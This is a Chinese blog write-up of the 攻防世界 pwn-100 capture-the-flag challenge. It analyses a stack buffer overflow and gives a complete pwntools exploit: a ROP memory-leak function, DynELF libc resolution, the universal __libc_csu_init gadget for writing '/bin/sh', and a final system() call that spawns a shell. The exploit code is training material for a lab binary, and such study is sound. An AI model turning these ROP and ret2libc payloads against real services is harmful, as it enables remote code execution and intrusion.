不一

攻防世界pwn-100与使用dynELF利用libc

字数统计: 2.4k阅读时长: 9 min
2020/01/27 Share

题目地址

pwn-100

漏洞分析

首先从main函数开始,顺序运行,只有一行关键代码call

1
call    sub_40068E

进入sub_40068E,也是顺序运行,进行了两次call

1
2
3
4
5
6
7
8
9
10
11
# 调用sub_40063D,传入2个参数,第1个参数是栈上rbp+0x40的一段缓冲区,第2个参数是200
lea rax, [rbp+var_40]
mov edx, 0Ah
mov esi, 0C8h
mov rdi, rax
# sub_40063D(rbp + 0x40, 200)
call sub_40063D

# 输入bye~
mov edi, offset s ; "bye~"
call _puts

进入sub_40063D,是一个循环结构,看伪代码(简化)比较直观:

1
2
3
4
5
6
7
8
9
10
11
12
13
int64 sub_40063D(int64 a1, signed int a2)
{
signed int i;

for ( i = 0; ; ++i )
{
// 这个循环运行a2遍
if ( i >= a2 )
break;
// 每次循环,从标准输入读取1byte,放到a1中
read(0, i + a1, 1);
}
}

由于sub_40068E调用sub_40063D时传入的参数a1缓冲区长度是0x40,而读取长度确是200,因此造成了栈溢出

漏洞利用

利用思路

有栈溢出漏洞可以利用,就可以通过覆盖栈上的函数返回值地址修改程序逻辑,但是问题在于要跳往什么地方呢?
如果程序中有存在system("/bin/sh")或者system("cat flag")的话,直接跳转过去就可以了。可是该题中没有。因此解决思路如下:

  1. 自己去寻找system()函数,并传入/bin/sh字符串进行调用。
  2. 又由于原程序中没有调用system()函数,在GOT和PLT表中没有对system()函数的记录,我们只能自己从libc中寻找system()函数。
  3. 因为在一个libc中函数的相对位置是固定的,我们可以通过read()函数的地址,通过相对位置计算得到system()函数的地址,但是由于我们不知道目标环境的libc版本,因此相对位置也没法确定。所以我们还得知道目标环境使用的libc。
  4. pwntools工具集提供了获取目标ELF信息和libc环境信息的工具dynELF,就用这个工具获取目标环境使用的libc。

dynELF

要如何获取目标服务器的libc信息呢?dynELF基于这样的思路:

如果我能获取内存的每一个byte,我还愁获取不到libc的信息吗?毕竟libc也是加载到内存里的。
就像我能在你家随意走动,我还怕搜不出你家电视型号吗?

leak()函数

因此我们需要的就是帮助dynELF去dump内存,具体而言就是提供一个leak()函数,这个函数接收一个地址参数,返回这个地址上的至少一个byte数据:

1
2
def leak(address):
return data

而泄漏任意内存的数据这事说起来也不难,调用puts(内存地址)就可以了。在x64中调用一个函数拢共分2步:

  1. 把参数塞进相应的寄存器(可以用mov或者pop)
  2. 跳转函数地址(一般用call,当然ret也可以实现跳转)

其中第2步我们已经完成了,现在需要实现第1步,把address放到rdi(x64第一个参数寄存器),这里需要使用到的是ROP技术,首先使用工具ropper查找可用的gadget:

1
2
3
4
5
6
7
8
$ ropper -f [二进制文件] --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: bee9f73f50d2487e911da791273ae5a3
0x0000000000400763: pop rdi; ret;

找到了一个非常合适的gadget,地址是400763。因此这个leak函数要重复使用,每次泄漏一点内存,所以不能用一次就退出了,所以最后需要调用start()函数来重新执行程序。加上栈溢出漏洞和puts的调用地址,便可以构建如下的leak()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
r = r = remote(目标IP, 目标端口)
elf = ELF(本地elf文件路径)

puts_plt = elf.plt[b'puts'] # puts函数在PLT表的地址
start = 0x400550 # start函数的地址
bufLength = 0x40 # 缓冲区长度
pop_rdi = 0x400763 # 用于传参的gadget

def leak(address):
payload = b'A' * (bufLength + 8) # 填充栈缓冲区和8byte的RBP
payload += p64(pop_rdi) + p64(address) # 覆盖返回地址为gadget,用于把address放到rdi
payload += p64(puts_plt) # 覆盖gadget的返回地址为puts函数
payload += p64(start) # 覆盖puts的返回地址为start,
payload += b'A' * (200 - len(payload)) # 填充到200字节

r.send(payload)
r.recvuntil("bye~\n") # 程序输出完bye之后就会跳转到gadget然后puts

prev_rv = b'' # 用于存储当前接收的上一个字节
data = b'' # 存储接受到的数据
while True:
rv = r.recv(numb = 1, timeout = 0.1) # 每次读取1个字节
if prev_rv == b'\n' and rv == b'': # 判断截断等
data = data[:-1]
data += b'\x00'
break
else:
data += rv
prev_rv = rv
data = data[:4]

return data

dump内存

有了leak函数就可以在pwntools的帮助下获取任意libc函数的地址了:

1
2
3
4
5
# 初始化dynELF
d = DynELF(leak, elf=elf)

# 泄漏system函数地址
system = d.lookup(b'system', b'libc')

万能gadget

得到了system()函数,接下来要获取字符串/bin/sh,我知道libc里面有/bin/sh但我不知道怎么获取,dynELF好像没有这个功能?= =
那么就自己输入吧,有两个思路:

  1. /bin/sh放在栈缓冲区中。这个方法输入很简单,但是寻址比较麻烦,需要获取栈地址进行计算,比如获取RSP的值。
  2. 调用write()函数输入/bin/sh。可以方法调用write()比较麻烦,但是可以把字符串放在自定义的位置,寻址简单。

决定采用方法2。
因为原程序有调用write()函数,因此在PLT和GOT表中有记录,不需要像system()函数那样去dump内存获取。但是write()函数调用传参比较麻烦,有3个参数:

1
write(输入文件描述符,输出缓冲区地址,输入长度);

而在x64中传递3个参数需要使用3个寄存器,依次是rdi,rsi和rdx。我们使用万能gadget来传递这三个参数。万能gadget存在于几乎每一个调用libc的程序中,由许多pop组成,因此广泛用于传递参数,它大概长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
loc_x:
mov rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]
add rbx, 1
cmp rbx, rbp
jnz short loc_400740
loc_y:
add rsp, 8
pop rbx # 一般传入0
pop rbp # 一般传入1
pop r12 # 要调用函数的地址
pop r13 # 之后被传入rdx
pop r14 # 之后被传入rsi
pop r15 # 之后被传入edi
retn

配合栈移出漏洞的万能gadget使用方式如下:

  1. 覆盖返回值地址为loc_y+8(跳过add rsp, 8那一行),通过ret进入万能gadget
  2. 执行6个pop操作
  3. 覆盖loc_y的返回地址为loc_x,这样retn之后跳转到loc_x执行
  4. 布置rdx,rsi,edi之后调用r12里的函数地址
  5. 由于rbx为0+1,rbp为1,因此jnz不执行,进入loc_y
  6. 在add和6个pop的作用下,rsp被提高了56byte
  7. 覆盖loc_y的返回值为自定义跳转地址,万能gadget执行完成,跳转

一般来说万能gadget可以在__libc_csu_init()函数找到,但是本题中没有这个函数,不过在init()函数中找到了这一段gadget,其中loc_x的地址为0x400740,而loc_y+8的地址为0x40075a

1
2
gadget0 = 0x40075a
gadget1 = 0x400740

最后是用于存放输入字符串的位置,需要一个可读可写的地址,在.bss段调一个就好了。
因此使用万能gadget调用write()函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gadget0 = 0x40075a
gadget1 = 0x400740

read_got = elf.got[b'read']
read_destination = 0x60107c # BSS段存放字符串的位子

# 调用read
payload = b'A' * (bufLength + 8) # 填充缓冲区
payload += p64(gadget0) # 覆盖返回地址进入万能gadget
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(read_got) # r12 - call
payload += p64(8) # r13 - rdx - 参数3
payload += p64(read_destination) # r14 - rsi - 参数2
payload += p64(0) # r15 - edi - 参数1
payload += p64(gadget1)
payload += p64(0) * 7
payload += p64(start) # 最后不要让程序退出
payload += b'A' * (200 - len(payload))

r.send(payload)
r.recvuntil("bye~\n") # 程序输出bye之后会跳转到万能gadget,然后调用write
r.send('/bin/sh\x00') # 输入

大功告成

有了system()函数,也有了/bin/sh字符串,只需要再进行一次调用就可以了:

1
2
3
4
5
6
7
8
payload = b'A' * (bufLength + 8)
payload += p64(pop_rdi)
payload += p64(read_destination) # /bin/sh
payload += p64(system)
payload += b'A' * (200 - len(payload))

r.send(payload)
r.interactive()

后记

为什么puts()函数使用的PLT,而read()函数使用的GOT?

上面代码中从本地elf获取puts()函数和read()函数分别从PLT表和GOT表:

1
2
puts = elf.plt[b'puts']
read = elf.read[b'read']

而如果改成从GOT获取puts()函数地址,或从PLT获取read()函数地址,则程序就会出错了。原因在于PLT表存放的是代码,而GOT表存放的是数据
举例来看,下面分别是程序初始时候PLT表和GOT表中read()函数的内容:

1
2
3
4
5
6
7
8
9
10
# read@plt的内容,使用disassemble命令获取
gdb-peda$ disass 0x400520
Dump of assembler code for function read@plt:
0x0000000000400520 <+0>: jmp QWORD PTR [rip+0x200b02] # 0x601028 <read@got.plt>
0x0000000000400526 <+6>: push 0x2
0x000000000040052b <+11>: jmp 0x4004f0
End of assembler dump.

# read@got.plt的内容,存放的是read函数的绝对地址,使用x命令获取
gdb-peda$ x/wx 0x601028
0x601028 <read@got.plt>: 0xf7af4070 # 这个是libc中read在内存中的绝对位置

主要puts@plt第一行语句jmp QWORD PTR [rip+0x200b02]把GOT表中read的地址取出进行跳转,而不是跳转到GOT表中
而在上面漏洞利用中我们调用puts函数是使用ret指令,因此可以跳转到PLT中执行,但不能跳转到GOT中执行,因为GOT存储的是数据
而调用read()函数使用的是call qword ptr [r12+rbx*8],需要将r12指向的内存取值,得到read()的地址,如果r12指向的是read@plt,则取值得到的是jmp指令的机器码,而不是read()的地址。
总之汇编的细节真的多。

CATALOG
  1. 1. 题目地址
  2. 2. 漏洞分析
  3. 3. 漏洞利用
    1. 3.1. 利用思路
    2. 3.2. dynELF
      1. 3.2.1. leak()函数
      2. 3.2.2. dump内存
    3. 3.3. 万能gadget
    4. 3.4. 大功告成
  4. 4. 后记
    1. 4.1. 为什么puts()函数使用的PLT,而read()函数使用的GOT?